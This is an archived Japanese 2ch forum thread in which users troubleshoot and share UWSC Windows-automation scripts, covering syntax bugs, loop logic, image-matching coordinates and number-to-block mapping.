[表示 : 全て 最新50 1-99 101- 201- 301- 401- 501- 601- 701- 801- 901- 2chのread.cgiへ]
Update time : 05/03 04:31 / Filesize : 344 KB / Number-of Response : 994
[このスレッドの書き込みを削除する]
[+板 最近立ったスレ&熱いスレ一覧 : +板 最近立ったスレ/記者別一覧] [類似スレッド一覧]


↑キャッシュ検索、類似スレ動作を修正しました、ご迷惑をお掛けしました

自動化ツールuwsc使いよ集まれ4



1 名前:名無しさん@お腹いっぱい。 [2009/03/02(月) 19:49:20 ID:rP5khwz50]
Windowsを自動化させるツールUWSC。
ttp://www.h7.dion.ne.jp/~umiumi/

uwsc使いのみなさま、マターリ己のスクリプトを晒しましょ。

前スレ
自動化ツールuwsc使いよ集まれ3
pc11.2ch.net/test/read.cgi/software/1176677869/

610 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/09/29(火) 07:15:22 ID:i5//2YOSP]
ダウンロードしたファイルの展開を自動化して勝手にキンタマに感染してればいいよ

611 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/09/29(火) 10:05:41 ID:luOmQHoy0]
展開とファイル実行機能をつけたスクリプトをEXE化してプレゼントしてあげよう

612 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/09/29(火) 15:26:34 ID:0xdw+62LP]
4.5cだとselectが仕様変更したせいかこんな関数すると2ループ目で
構文エラーになるぞ。バグ?
for z = 0 to 5
print z
Test()
next
procedure Test()
dim cb
cn = "efg"
select cn
case "efg"
cb = 1
case "hij"
cb = 2
selend
fend

613 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/09/29(火) 20:17:33 ID:RXL7LTN80]
>>612
漏れのとこはprocedure Test()がSyntax error吐く
procedure Test(a)と呼び出しもTest(0)に書き直すと5まで回る

614 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/09/30(水) 16:39:27 ID:IWwKgH1S0]
>>612
エラーになる最小構成
Uスクリプト: SyntaxError:PROCEDURE TEST()2行目: TEST()
二回目の呼び出しでエラーになる

Test()
Test()

procedure Test()
  select 1
    case 2
  selend
fend

615 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/03(土) 15:10:10 ID:PrU7zT590]
>>612
最新の4.5c1で問題ないようですね。

616 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/03(土) 15:17:35 ID:PrU7zT590]
あ、修正内容記載忘れ

>SELECT-SELEND構文のCASE部の演算にて、正しく処理できないパターンがあるエンバグ修正

617 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/04(日) 19:21:28 ID:nTBPfdcN0]
他のアプリのフォーム上のテキストを取得するにはどうしたらいいんでしょうか。
手順だけでも教えてください。

618 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/05(月) 00:07:31 ID:CH7gUdqSP]
まずヘルプを見ます



619 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/05(月) 00:08:51 ID:PJFhomP10]
それから服を脱ぎます

620 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/05(月) 03:49:26 ID:NhTXeCvfP]
>>617
ttp://scripts.web.fc2.com/scriptsup/GetItem.uws

621 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/06(火) 08:32:17 ID:c/PWe0slP]
HSPは皆さん名前くらいはご存知だと思います。
簡単にGUIを利用できるスクリプトです。
GUIを利用するには操作可能なウィンドウのハンドルが必要になりますが、
hsp3imp.dll と .ax 形式のスクリプトファイルがあればHSPの基本的なスクリプトが実行できます。
ハンドルにNULLを渡すしかないのでデスクトップ画面の左上になにやら表示されるだけですが、
同一プロセスで実行するので、UWSCのTHREAD関数と同じで、UWSCのメインが終了すれば自動的にHSPスクリプトも終了します。
実用的なコードではありませんが、UWSCと連携できる方法が分かったので、メモ代わりに置いておきます。
----------------------------------------------------------------
def_dll _hspini@16( Long, Long, Long, Long):long:hsp3imp.dll
def_dll _hspbye@16( Long, Long, Long, Long):long:hsp3imp.dll
def_dll _hspexec@16( Long, Long, Long, Long):long:hsp3imp.dll
def_dll _hspprm@16( Long, Long, Long, var string):long:hsp3imp.dll

_hspprm@16( 0, 0, 0, NULL )
_hspprm@16( $102, 0, 0, "test.ax" )
_hspini@16( $100, 300, 200, 0 )
_hspexec@16( 0,0,0,0 )
_hspbye@16( 0,0,0,0 )

622 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/06(火) 12:07:27 ID:MmWu6XUb0]
いえ、結構です

623 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/06(火) 13:51:43 ID:/f+XFp6+0]
そういうなよw

HSP利用してるひとには、何か役に立つ場面があるんだろう。よくわかんないけど。

624 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/06(火) 14:08:00 ID:iGIKVHSK0]
GUIって書いてあるし、インターフェースの作り方が簡単に出来るんじゃね?
PRO版でも以外にhtmlで組んで値の取得はめんどいきがするしなぁ。

625 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/06(火) 14:40:59 ID:aEe1fbMS0]
スクリプトが中心のUWSCにGUIは要るのかどうか

626 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/08(木) 18:39:23 ID:POs5weyE0]
GUIは要るだろw
処理は分岐させるときに、
マウスでボタン選ばせることはよくある。

627 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/08(木) 19:32:12 ID:qRylH6WX0]
漏れはGETKEYSTATE(と反応いるならFUKIDASI)派

628 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/08(木) 20:16:25 ID:G90OFwF50]
そういえば、UWSCをゲームの自動化に使う人が多いけど、
UWSCはドットと一定範囲のキャプチャ、そしてあらかじめ用意した画像との一致ができるけど、
もーちょっと複雑な処理をするとなると普通の開発言語が必要になってくる。
DLLを作れば呼び出しはしやすいけど、DLLを作るのはちょっと大変。
HSPは個人というか同人のゲーム開発によく使われているから、作りやすそうな気がする。

>>621の呼び出し方法だとデータの受け渡しは出来なさそうだけど・・
確かHSP独自の管理データのバッファを受け渡すオプションがあるんですよ。
メモリアロケートしなきゃいけないからUWSCで用意するのはきついか・・・
そもそもそのバッファをどう使うのかも分かんないし。
直呼びするんじゃなくて中間にそのデータを処理するライブラリが必要になるよな。
結局DLLは作らなきゃいけないのか。




629 名前:名無しさん@お腹いっぱい。 [2009/10/08(木) 20:54:12 ID:UBSNf1qA0]
msgboxでYES or NO を選択させているときに
バックグラウンドのログウィンドウのサイズ変更やスクロール操作をさせたいのですけど
どーにもウィンドウ自体がロックされてて動かない。

何かいい処理手段はありませんか。

630 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/08(木) 21:08:28 ID:qO5rVH0kP]
>>629
ためしに別スレッドで表示してみたけど、スレッド関係なくログ窓はロックされた。
最初にログ窓を表示してsleep()してる間にサイズを変更しておくしかないね。

毎度変更するのが面倒なら、ログ窓の初期サイズはどっかの初期設定で変更できるんじゃないかな。
参考にはならないだろうけど、UWSCの別スレッドで>>621の方法で呼び出したHSPスクリプトで表示した窓なら確かログ窓をロックしなかった。
モーダルとモードレスの違いかな。


631 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/09(金) 12:31:18 ID:b97IpTpi0]
>>630
やっぱりそこは仕様として受け入れるのが妥当みたいですね…


632 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/09(金) 21:26:03 ID:arGnFET40]
OPTIONで、SLCTBOXとかMSGBOXのタイトルは指定出来るけど、
Printで出てくるLogのウインドウのタイトルは変更出来ないですよね?
やるとしても、指定したタイトル.uwsを勝手に生成させて、
それにPrintしたい文を引数として渡しながら起動させて、そっちのプロセスからLogウインドウ生成させる
とか、
もしくはFukidashi使ってPrintまがいの関数作って、常に一番上に同じ文字列を表示させる事で代用する感じですか?

633 名前:名無しさん@お腹いっぱい。 [2009/10/10(土) 19:09:22 ID:x/VCcQim0]
ふと思ったんだがUSBケーブルで携帯電話に繋げば携帯電話のキーも自動操作可能?

634 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/10(土) 19:16:07 ID:utpQqVzD0]
無理

携帯電話を接続する場合、モデムとして認識されるだろう。
モデムとしてダイヤルすることは、通信ソフトを使えば可能だが、通話は・・
Windows98には通話に使えるダイヤラーがあったけどな。


635 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/11(日) 00:22:44 ID:35okaGI10]
UWSCで初めてプログラムを触ったんですが、基本的なことがわからないので質問します。

for i = 0 to 30
 A = ループの終了条件1
 B = ループの終了条件2
 ifb FLAG = 0 then
  if A then break
 else
  if B then break
 endif
next

for i = 0 to 30
 ifb FLAG = 0 then
  A = ループの終了条件1
  if A then break
 else
  B = ループの終了条件2
  if B then break
 endif
next

どちらが正しい処理の仕方(処理的に軽い)ですか?

636 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/11(日) 00:36:00 ID:PutYKpoI0]
for i = 0 to 30
 ifb FLAG = 0 then
  if ループの終了条件1 then break
 else
  if ループの終了条件2 then break
 endif
next

これじゃいけない?

後者の方が条件Aにマッチする時は条件Bの評価をしなさそうに見えるけど、
実際はそうでないことも多いからやってみないとわからんな。

637 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/11(日) 02:58:02 ID:VZNQjdxo0]
FLAGが0か1なら
for i = 0 to 30
 if (FLAG XOR ループの終了条件1) OR (FLAG AND ループの終了条件2) then break
next
とかやっちゃいそうな気がする。
短く書けるけど読みにくいし早くは無さそうだがw
ORは確か片方成立で飛ぶんじゃなかったっけかな?

638 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/11(日) 03:08:56 ID:bm9Dl8WM0]
そもそもFLAGをforの中で変えてないのだから
ifb FLAG=0 then
for i = 0 to 30
   A = ループの終了条件1
  if A then break
   B = ループの終了条件2
  if B then break
next
endif
としてfor〜nextの間を省けばいい

FLAG変数への参照を無駄にループ数分行っていたのを省略できるし、forの中で一切FLAGをいじってない
時間の無駄すぎる



639 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/11(日) 03:21:48 ID:G3PJrjiY0]
>>638
いや、マルチスレッドでflagをセットするのかもしれない。

ちょうど昨日くらいにマルチスレッドで同じ変数への演算を試したが、タイムラグはあるものの矛盾は起きなかった。
絶対に起きないというテストじゃなくて、ログに吐いてざっとみた感じだけどな。
データ保持時間が最短のインクリメント(X=X+1)だったから矛盾しなかっただけかもしれないが、
実際マルチスレッドでやり取りするのはその程度の小さいデータだしな。

>>637
UWSCの or はビット演算するんじゃなかったかな。
FLAGにセットするデータとループの終了条件1、2が0または1しかセットしないと決めてあるなら大丈夫だろうけど。

640 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/11(日) 03:38:04 ID:bm9Dl8WM0]
>>639
ほい、if文の中のorの動きを見るサンプル
マウスの真ん中ボタン押すと次の数字をチェックに動く
動かす限りは、左右どちらかの条件を満たしたときthenの処理を行うっぽい

for a=-2 to 2
for b=-2 to 2
ifb a or b then
fukidasi(a+"|"+b)
while GETKEYSTATE(VK_MBUTTON)=FALSE
WEND
while GETKEYSTATE(VK_MBUTTON)=TRUE
WEND
else
endif
next
next

641 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/13(火) 22:27:37 ID:jrmsphI70]
z = 1
repeat
IESetData(IE,True,"btnG","u-tan",z)
z = z + 1

until z > 400

終了条件が400となっていますが、400以下のときがあり
そのまま終了せずに止まってしまいます。

400以下の場合はどのような終了条件にすればいいのでしょうか?

642 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/13(火) 22:38:27 ID:xJwyuOU/0]
while IESetData(知らない)
 z=z+1
wend

643 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/13(火) 22:57:01 ID:71hzl6RX0]
for z = 1 to 400
IESetData(IE,True,"btnG","u-tan",z)
next

644 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/13(火) 23:07:14 ID:jrmsphI70]
>>642-643
どちらも駄目でした・・・



645 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/13(火) 23:13:52 ID:Duzrrw3q0]
z=1
while z<400 and a=TRUE
a= IESetData(知らない)
 z=z+1
wend

646 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/13(火) 23:51:29 ID:jrmsphI70]
>>645
変数aを上に記載してやったら
どうにかできました。m(_ _)m

647 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/14(水) 00:48:59 ID:21DOA/fB0]
ということはこれだな
for z = 1 to 400
 if false = IESetData(IE,True,"btnG","u-tan",z) then break
next


648 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/15(木) 17:56:31 ID:UljGJ3ay0]
ちょっと疑問に思ったんだけど、
 「false = 条件」 と、 「条件 = false」
って普通はどっち?



649 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/15(木) 18:55:03 ID:bcXkiyj70]
C言語で
> if 変数 = 状態
ってやっちゃうと代入になっちゃうから
> if 状態 = 変数
って書くべしっていうのはある

でもBasicは = で比較だからどっちでも同じ
ただ、比較対照が長い関数の場合、どれとどれを比較してるんだかわかんないので
> false = 関数
ってしたほうがいい。

> if 関数 = false then
と書くと、
> if 関数 then
と間違えやすい
だから、Basicでは
> if false = 関数 then
と書くのをお勧めする


650 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/15(木) 23:21:40 ID:a8XdqmYx0]
初歩的な質問だと思いますが、
a = 1
IFB a != 1
 print "a != 1"
ELSE
 Print "a = 1"
ENDIF
で、表示されるのがa != 1というのは、仕様ですか?
エラー出ないのに、=を論理否定して≠にしている訳では無いのかな。
上記をC言語的なイメージで解釈したように使うには、
a = !1か、!a = 1か、a<>1にしなければならないようですが、
a<>1が一番解りやすいですかね?

651 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/16(金) 00:12:35 ID:d8MsK2iH0]
>>650
それなんで通っちゃうんだろうね
確かに != の表記が間違ってるみたいだけど。

652 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/16(金) 14:55:14 ID:yaBuphLm0]
saveimgを使って保存した画像をchkimgで調べるのを組んでるのですが
chkimgの座標指定が今一うまくいかないのでアドバイスお願いします
CHKIMG( 画像名, [透過色/色無視, x1, y1, x2, y2, 番号, 色幅] )

 X1――X2
  |    |
 Y1――Y2
このような解釈でいいのでしょうか?

ACW(GetID("ログイン"))
LOGIN = GetID("ログイン")
MOUSEORG(LOGIN)
 Repeat
  log = CHKIMG("log.BMP",-1)
  in = GetID("ログイン")
  ifb log then
   print "認証"
   print "X"+G_IMG_X+"Y"+G_IMG_Y
   BTN(LEFT,CLICK,G_IMG_X+20,G_IMG_Y+20,500)
 endif
 sleep(0.1)
 Until in < 0

この様に一度動かしてみて print "X"+G_IMG_X+"Y"+G_IMG_Y で出た座標を
log = CHKIMG("log.BMP",-1,)に入れてみるのですが上手く認識してくれません
座標指定しなければちゃんと認識はしてます
CHKIMG("log.BMP",-1,0,0,1000,1000)などにすると認識はしますが
実際 print "X"+G_IMG_X+"Y"+G_IMG_Y で出てくる数値は20,400程度なので
これに余裕を持たせ CHKIMG("log.BMP",-1,0,0,200,600) にしても認識してくれません
何がいけないのでしょうか?

653 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/16(金) 15:07:01 ID:d5KMyGe80]
>>652
 (X1,Y1)――
   |     |
   ―――(X2,Y2)


654 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/16(金) 15:21:35 ID:d8MsK2iH0]
>>652

  ┌Y1┐
 X1   X2
  └Y2┘


655 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/16(金) 15:26:36 ID:d5KMyGe80]
>>652
始点Yが400で選択範囲をY600までにした場合
Yの値=画像の横幅、が200pxを超えていると認識しない。

656 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/16(金) 15:49:11 ID:yaBuphLm0]
>>653-654
654を見て理解できました

>>655
画像自体の幅と高さが関係してくるのを理解してませんでした


これで少し前進しました アドバイスくださった皆さんありがとうございました


657 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 16:13:22 ID:GlNkzRYu0]
ifb (L > 0 and L < 11) or (L > 40 and L < 51) or (L > 80 and L < 91) then
i = 1
ifb (L > 0 and L < 11) then
ii = 1
elseif (L > 40 and L < 51) then
ii = 2
else
ii = 3
endif
elseif (L > 10 and L < 21) or (L > 50 and L < 61) or (L > 90 and L < 101) then
i = 2
ifb (L > 10 and L < 21)
ii = 4
elseif (L > 50 and L < 61)
ii = 5
else
ii = 6
endif
endif

下一桁も取出したいのですがもっと簡単に書く方法はないですか?

658 名前:名無しさん@お腹いっぱい。 [2009/10/17(土) 17:03:23 ID:Xw3XxMCcP]
ここまで何をしたいのか全く理解できないレスは初めてだ



659 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 17:32:45 ID:4eI9AiXq0]
>>657
select L
 case 1 to 10
  i = 1
  ii = 1
 case 11 to 20
  i = 2
  ii = 4
 case 41 to 50
  i = 1
  ii = 2
 case 51 to 60
  i = 2
  ii = 5
 case 81 to 90
  i = 1
  ii = 3
 case 91 to 100
  i = 2
  ii = 6
 default
selend

「to」って使えたっけ??

660 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 17:58:54 ID:II0xKVE40]
使えないだろ。

下一桁の意味がわからん

661 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 18:30:52 ID:GlNkzRYu0]
すいません説明不足で
1〜200までの場所がありまして、まず1〜200は8つのブロックに分かれてます。

1つ目のブロックは、1〜10 41〜50 81〜90

2つ目のブロックは、11〜20 51〜60 91〜100

3つ目のブロックは、21〜30 61〜70 101〜110

4つ目のブロックは、31〜40 71〜80 111〜120

5つ目のブロックは、121〜130 161〜170

6つ目のブロックは、131〜140 171〜180

7つ目のブロックは、141〜150 181〜190

8つ目のブロックは、151〜160 191〜200

1つ目のブロックの1行目は1〜10 2行目は41〜50 3行目は81〜90
4つ目まで同じ
5つ目のブロックからは1行目は121〜130 2行目は161〜170
8つ目まで同じ

これを指定した番号の場所に行きたいのですが簡略化して書く方法が思いつかなかったので質問させていただきました。


662 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 19:15:57 ID:2kTk15QU0]
すみません質問です
友人から拡張子.uwsのスクリプトをもらいましたがUWSCのお試し期限が切れてしまいました
そこでAutoItで使えるようにしたいのですが僕にはこういった知識が全くありません
その友人に変換してもらえるか聞いたんですが
「UWSC以外は使ったことないからワカンネ」と言われてしまいました
もしここの部分をこうするだけだよ、
ってレベルの話であればどうか教えてください

663 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 19:25:26 ID:ra182OK/0]
>>662
UWSCのフリー版使えば期限なんてないよ
www.uwsc.info/uwsc45c1.zip

664 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 19:35:41 ID:a5Xst/mw0]
>>661
IFB L <= 120
 hoge = (L-1) MOD 40
 i = INT(hoge / 10) + 1
 ii = INT((L-1) / 40) + 1
 iii = L MOD 10
ELSEIF L <= 200
 hoge = ((L- 120) -1) MOD 40
 i = INT(hoge / 10) + 5
 ii = INT((L-1) / 40) + 1
 iii = L MOD 10
ENDIF
こんな感じじゃない?
適当に書いたからどこか1とかずれてると思うけど、
適当にいじれば使えると思うよ。
MODは割った剰りを求める演算な。

665 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 19:54:20 ID:D58+E+1n0]
>>657の条件だとiiの条件が特殊じゃね?
俺ならこんなの配列イメージで出すようにするわ
L = 11
DIM i,ii
DIM index[7][2] =_
0, 4, 8,_
1, 5, 9,_
2, 6,10,_
3, 7,11,_
12,16,99,_
13,17,99,_
14,18,99,_
15,19,99
DIM value_ii[7][2] =_
1, 2, 3,_
4, 5, 6,_
7, 8, 9,_
10,11,12,_
13,14,99,_
15,16,99,_
17,18,99,_
19,20,99
for block = 0 to 7
 for column = 0 to 2
  ifb int((L-1)/10) = index[block][column] then
   i = block + 1
   ii = value_ii[block][column]
MSGBOX( "i=" + i + ", ii=" + ii )
   break 2
  endif
 next
next

666 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 20:03:08 ID:2kTk15QU0]
>>663
ありがとうございます
フリー版があったんですね
助かりました

667 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 20:36:20 ID:GlNkzRYu0]
L = 入力された数字1〜200

ifb (L > 0 and L < 11) or (L > 40 and L < 51) or (L > 80 and L < 91) then //8つのうちの1つ目のブロック
 i = 1 // 8/1 iはブロックの場所の変数
 ifb (L > 0 and L < 11) then
  ii = 1 // 1〜10までだから1行目 iiは行数の変数
  ifb L = 1
   iii=1 // Lは1番目 iiiは何番目かを表す変数
これをズラズラ200通り書いてたのでうまく求める書き方がなのかと思いまして



668 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 21:23:35 ID:pJnpQWGB0]
>>667
どうせ200通り書くんなら200通りの配列にしろよ。
そしたらコーディングは次の1行で済むからバグが混入しなくていいだろ。
> 結果 = データ[L]

> const ブロック = 0
> const 行 = 1
> const 列 = 2
> dim 結果[2]
> 結果 = データ[L]
> ブロック番号 = 結果[ブロック]
> 行番号 = 結果[行]
> 列番号 = 結果[列]

データは↓のように1〜200を定義する
dim データ[200][2] = _
// ブロック番号、行、列
0, 0, 0, _ // ダミーデータ
1, 1, 1, _ // L = 1
2, 1, 1, _ // L = 11
3, 1, 1, _ // L = 21

ルール化してデータを折りたたむ場合でも、一旦表にしてみれば整理しやすい。




669 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 21:27:50 ID:NwjYpu/W0]
下一桁の意味がわからん
普通に考えてL=164なら4をさすと思う
iはブロックらしいが、iiはなになのかわからんってことで

DIM minv[20]= 1,11,21,31,41,51,61,71,81, 91,101,111,121,131,141,151,161,171,181,191,-999
DIM maxv[20]=10,20,30,40,50,60,70,80,90,100,110,120,130,140,150,160,170,180,190,200,-999
DIM tou[20]= 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,-999
DIM blk[20]= 1, 2, 3, 4, 1, 2, 3, 4, 1, 2, 3, 4, 5, 6, 7, 8, 5, 6, 7, 8,-999

L=INPUT("数字を入力してください",1)

L=INT(L)
ifb L<0 or L>200 then
FUKIDASI ("範囲外なので処理できません")
SLEEP(500)
EXITEXIT
endif

670 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 21:28:31 ID:NwjYpu/W0]
counter=0
while minv[counter]<>-999
if minv[counter]<=L and L<=maxv[counter] then break
counter=counter+1
wend

i=blk[counter]

ifb minv[counter]<>-999 then
FUKIDASI(tou[counter]+"&"+blk[counter])
WHILE GETKEYSTATE(VK_MBUTTON)=FALSE
WEND
WHILE GETKEYSTATE(VK_MBUTTON)=TRUE
WEND
endif
EXITEXIT

671 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 22:00:44 ID:GlNkzRYu0]
沢山の答えありがとうございます
自分はまだ初心者なので皆さんの答えを今すぐに理解できないので
1つずつ理解していきます。



672 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/17(土) 22:30:46 ID:GlNkzRYu0]
>>669
95は何ブロック目の何行の何番目かを出したくて661みたいなkとを書いたのですが
簡潔にまとめるために質問しました。

□は縦1列で1ブロック

    1〜10  11〜20  21〜30  31〜40 
1行   □     □     □     □

   41〜50  51〜60  61〜70  71〜80 
2行   □     □     □     □

   81〜90 91〜100  101〜110 111〜120 
3行   □     □     □     □

   121〜130 131〜140 141〜150 151〜160 
4行   □     □     □     □

   161〜170 171〜180 181〜190 191〜200 
5行   □     □     □     □



673 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 09:11:39 ID:t51s/utc0]
661とは全く違うじゃねーかw
説明が下手糞だから余計な混乱を招いてるんじゃないのかよ。

下手に簡略化しようと考えずに
実際にやってることを書けよw

674 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 11:27:49 ID:0ZmdNhwk0]
>>673
最初そう思ったがどうやらLの数値からブロックの番号と行の番号の2種類を求めたいらしい
ただ、あとは>>669のDIM tou[20]=をその行の番号に対応するところを変えて後ろにii=tou[counter]
をつければ差し替えるだけで終わるから、後は質問者がLvUPしてこれをするだけ

675 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 13:43:28 ID:fLNvafB60]
>>669はminとmaxを別々の配列にしてるけど、それはミスが出やすいコーディングだから駄目だよ。
ひとつのオブジェクトにminとmaxがあるのはいいんだけどね。

□部分に、 L に9を足して10で割った数字を入れてみる。
さらに4を足して4で割った数字(小数点は切捨て) 【↓】
    1〜10  11〜20  21〜30  31〜40 
1行   1      2      3      4       1

   41〜50  51〜60  61〜70  71〜80 
2行   5      6      7      8       2

   81〜90 91〜100  101〜110 111〜120 
3行   9      10     11     12       3

   121〜130 131〜140 141〜150 151〜160 
4行   13     14     15     16       4

   161〜170 171〜180 181〜190 191〜200 
5行   17     18     19     20       5
      1      2      3      4 【←】 ((□-1) mod 4) + 1 の計算結果


>>664が既に書いてくれてるのを分解した図だな。
Excelとかで計算式書いてみたらすぐ作れる表なんだけどなあ。
しかも今どき表計算とか無料で使えるのに知らないのかなあ?


676 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 18:29:56 ID:/4/WenoU0]
ヘルプも見たけど分からなかったので質問
batファイルなんかだと「go to ○○」と書くと○○の部分に処理をジャンプさせられるけど
例えば

EXEC("C:\Program Files\lolifox\lolifox.exe")
loliid = GETID("lolifox", "MozillaUIWindowClass", -1)
CTRLWIN(loliid, MIN)

loli = STATUS(loliid, ST_ICON)

ifb loli = 0 then
CTRLWIN(loliid, MIN)
EXEC("D:\ソフト\Jane Style\Jane2ch.exe")
else
EXEC("D:\ソフト\Jane Style\Jane2ch.exe")
endif

こんな感じで書いたとして(本当はJaneの後も他の起動がズラズラ)
lolifoxは最小化したあと何故か勝手に最大化されてしまう場合があるから
こういう風にしてるんだけど、それだと同じ処理を両方に書いて長く見づらくなっちゃうため
thenの方で最小化した後にelseの方に飛ばす方法ってないのかな?

677 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 18:48:35 ID:fLNvafB60]
>>676
loliの中身を見る必要はない
これでおk
> STATUS(loliid, ST_ICON)
> CTRLWIN(loliid, MIN)
> EXEC("D:\ソフト\Jane Style\Jane2ch.exe")


もしくは、if分が終わった後に書けばおk
> if loli = 0 then CTRLWIN(loliid, MIN)
> EXEC("D:\ソフト\Jane Style\Jane2ch.exe")


678 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 20:14:28 ID:/4/WenoU0]
>>677
出来た、ありがとう
ついでに聞いておきたんだけど
>>676で書いたようなラベルジャンプみたいな機能はUWSCではできないのかな



679 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 20:26:05 ID:fLNvafB60]
>>678
ないな。

どーしてもそういうコーディングがしたければ、
ジャンプの変わりに、関数を呼び出してそのままexitしたらいいんじゃないかな。

ifb flag then
 関数()  //関数を実行
 exitexit  //関数が終わると戻ってくるが、後は必要ないので終了
 // これでgotoしたのと同じ事になる。ただし変数はグローバルで取ること。
 //でもgotoが入り混じった動作は作れないよな
endif


680 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 20:50:46 ID:/4/WenoU0]
>>679
参考になったよ
サンクス

681 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/18(日) 21:14:57 ID:ixWoaU9v0]
イイコト聞いた(・∀・)
俺も参考になった
>>679
ありがとね

682 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 17:46:15 ID:n+6Jdku/0]
はじめまして全くの初心者で丸投げでお願いしたいです
メモ帳に24行の文字列があるのですが
1時になれば上から1行目をサイトAに投稿
2時になれば上から1行目をサイトBに投稿
3時になれば上から1行目をサイトCに投稿
このように1時間ごとに1行の投稿を
1〜24行 A〜X それぞれの行、サイトに対応させて投稿したいです
よろしくお願いします

683 名前:682 mailto:sage [2009/10/19(月) 17:49:34 ID:n+6Jdku/0]
ちょっと書きミスしましたので改めて書きます
メモ帳に24行の文字列があるのですが
1時になれば上から1行目をサイトAに投稿
2時になれば上から2行目をサイトBに投稿
3時になれば上から3行目をサイトCに投稿
このように1時間ごとに1行の投稿を
1〜24行 A〜X それぞれの行、サイトに対応させて投稿したいです
24時サイトXまで終了すれば
1時サイトA〜24時サイトXまでの永遠ループです
よろしくお願いします

684 名前:682 mailto:sage [2009/10/19(月) 17:53:33 ID:n+6Jdku/0]
何度もすいません
テキスト1ファイルで1行目〜24行目の方法ではなく
1行ファイルを24個用意して
1時にテキスト1をサイトA
2時にテキスト2をサイトB
3時にテキスト3をサイトC
この方法でも結構です
どなたかお願いします

685 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 18:18:15 ID:UJIHaaLl0]
>>はじめまして全くの初心者で丸投げでお願いしたいです

686 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 18:59:12 ID:HVP74pPF0]
自分で作れないなら、プロにお金を出して作ってもらったら?

687 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 19:43:20 ID:CQ58FsYy0]
>>682-684
そのサイトが全部2ちゃんねるなら5千円で作ってあげてもいいけど
ぜんぜん別の掲示板なら1箇所当たり2千円で消費税も入れて 55000円 になるけどいいかな?


688 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 20:39:09 ID:fkMx4tWw0]
>>682
こんなソフトウェアつくってください
pc12.2ch.net/test/read.cgi/software/1251624598/



689 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/19(月) 22:09:18 ID:A/b0I+MbP]
>>682
これから作るからちょっと待ちなー

